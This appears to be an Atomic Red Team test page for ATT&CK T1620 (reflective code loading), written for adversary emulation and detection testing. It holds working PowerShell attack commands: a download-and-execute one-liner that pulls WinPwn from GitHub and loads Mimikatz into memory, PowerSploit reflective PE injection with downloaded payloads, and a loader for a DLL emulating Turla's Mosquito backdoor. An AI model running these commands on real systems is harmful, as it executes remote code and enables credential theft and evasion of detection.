T1620

Description from ATT&CK

Adversaries may reflectively load code into a process in order to conceal the execution of malicious payloads. Reflective loading involves allocating then executing payloads directly within the memory of the process, vice creating a thread or process backed by a file path on disk (e.g., Shared Modules).

Reflectively loaded payloads may be compiled binaries, anonymous files (only present in RAM), or just snubs of fileless executable code (ex: position-independent shellcode).(Citation: Introducing Donut)(Citation: S1 Custom Shellcode Tool)(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Mandiant BYOL) For example, the Assembly.Load() method executed by PowerShell may be abused to load raw code into the running process.(Citation: Microsoft AssemblyLoad)

Reflective code injection is very similar to Process Injection except that the “injection” loads code into the processes’ own memory instead of that of a separate process. Reflective loading may evade process-based detections since the execution of the arbitrary code may be masked within a legitimate or otherwise benign process. Reflectively loading payloads directly into memory may also avoid creating files or other artifacts on disk, while also enabling malware to keep these payloads encrypted (or otherwise obfuscated) until execution.(Citation: Stuart ELF Memory)(Citation: 00sec Droppers)(Citation: Intezer ACBackdoor)(Citation: S1 Old Rat New Tricks)

Source

Atomic Tests

• Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory
• Atomic Test #2: Reflective PE Injection via PowerSploit
• Atomic Test #3: Turla Mosquito (CommanderDLL.dll) Dynamic Export Address Table (EAT) Patching

Atomic Test #1: WinPwn - Reflectively load Mimik@tz into memory

Reflectively load Mimik@tz into memory technique via function of WinPwn

Supported Platforms: Windows

auto_generated_guid: 56b9589c-9170-4682-8c3d-33b86ecb5119

Attack Commands: Run with powershell!

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
mimiload -consoleoutput -noninteractive

Atomic Test #2: Reflective PE Injection via PowerSploit

Uses PowerSploit's Invoke-ReflectivePEInjection to reflectively load a PE file into the current PowerShell process.

Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1

Supported Platforms: Windows

auto_generated_guid: 114c2b95-d992-4c03-8c38-fc58420a3eb5

Inputs

Attack Commands: Run with powershell!

Import-Module "#{script_path}"
Invoke-ReflectivePEInjection -PEPath "#{pe_path}" -ExeArgs "#{exe_args}"

Cleanup Commands

Remove-Item "#{script_path}" -Force -ErrorAction SilentlyContinue
if (Test-Path "$env:TEMP\T1620_pe_downloaded") {
  Remove-Item "#{pe_path}" -Force -ErrorAction SilentlyContinue
  Remove-Item "$env:TEMP\T1620_pe_downloaded" -Force
}

Dependencies: Run with powershell!

Description: Invoke-ReflectivePEInjection.ps1 must be on disk

Check Prereq Commands

if (Test-Path "#{script_path}") { exit 0 } else { exit 1 }

Get Prereq Commands

New-Item -Type Directory (Split-Path "#{script_path}") -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri "#{script_url}" -OutFile "#{script_path}"

Description: PE file must be on disk

Check Prereq Commands

if (Test-Path "#{pe_path}") { exit 0 } else { exit 1 }

Get Prereq Commands

Remove-Item -Path "$env:TEMP\T1620_pe_downloaded" -Force -ErrorAction SilentlyContinue
New-Item -Type Directory (Split-Path "#{pe_path}") -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest -Uri "#{pe_url}" -OutFile "#{pe_path}"
New-Item -Type File "$env:TEMP\T1620_pe_downloaded" -Force | Out-Null

Atomic Test #3: Turla Mosquito (CommanderDLL.dll) Dynamic Export Address Table (EAT) Patching

Emulates the behavior of Turla's Mosquito main backdoor. Loads a benign DLL that has no export for "StartRoutine" on disk. During DllMain, the DLL constructs an IMAGE_EXPORT_DIRECTORY in memory at the tail of its mapped image (past .reloc), then patches its own PE header's data-directory entry so the export RVA points to the fabricated table. Effectively hides the DLL's real entry point from static analysis and export-name-based detection.

Supported Platforms: Windows

auto_generated_guid: 7c3e0b89-09e6-4f3c-a1e8-1c1dfa9288ce

Inputs

Attack Commands: Run with powershell!

Add-Type -MemberDefinition @'
  [DllImport("kernel32.dll", SetLastError=true)]
  public static extern IntPtr LoadLibraryA(string lpFileName);
'@ -Name "Win32" -Namespace "EATTest" -PassThru | Out-Null
[EATTest.Win32]::LoadLibraryA("#{dll_path}")

Cleanup Commands

if(Test-Path -Path $env:TEMP\EAT_dll_downloaded){
  Remove-Item "#{dll_path}" -Force -ErrorAction Ignore
}

Dependencies: Run with powershell!

Description: The EAT-patching DLL must be present on disk

Check Prereq Commands

if (Test-Path "#{dll_path}") { exit 0 } else { exit 1 }

Get Prereq Commands

New-Item -Type Directory (Split-Path "#{dll_path}") -ErrorAction Ignore -Force | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/atomics/T1620/bin/CommanderDLL.dll?raw=true" -OutFile "#{dll_path}"
New-Item -Type File $env:TEMP\EAT_dll_downloaded -ErrorAction Ignore -Force | Out-Null

Atomic test(s) for this technique last updated: 2026-09-05 00:05:10 UTC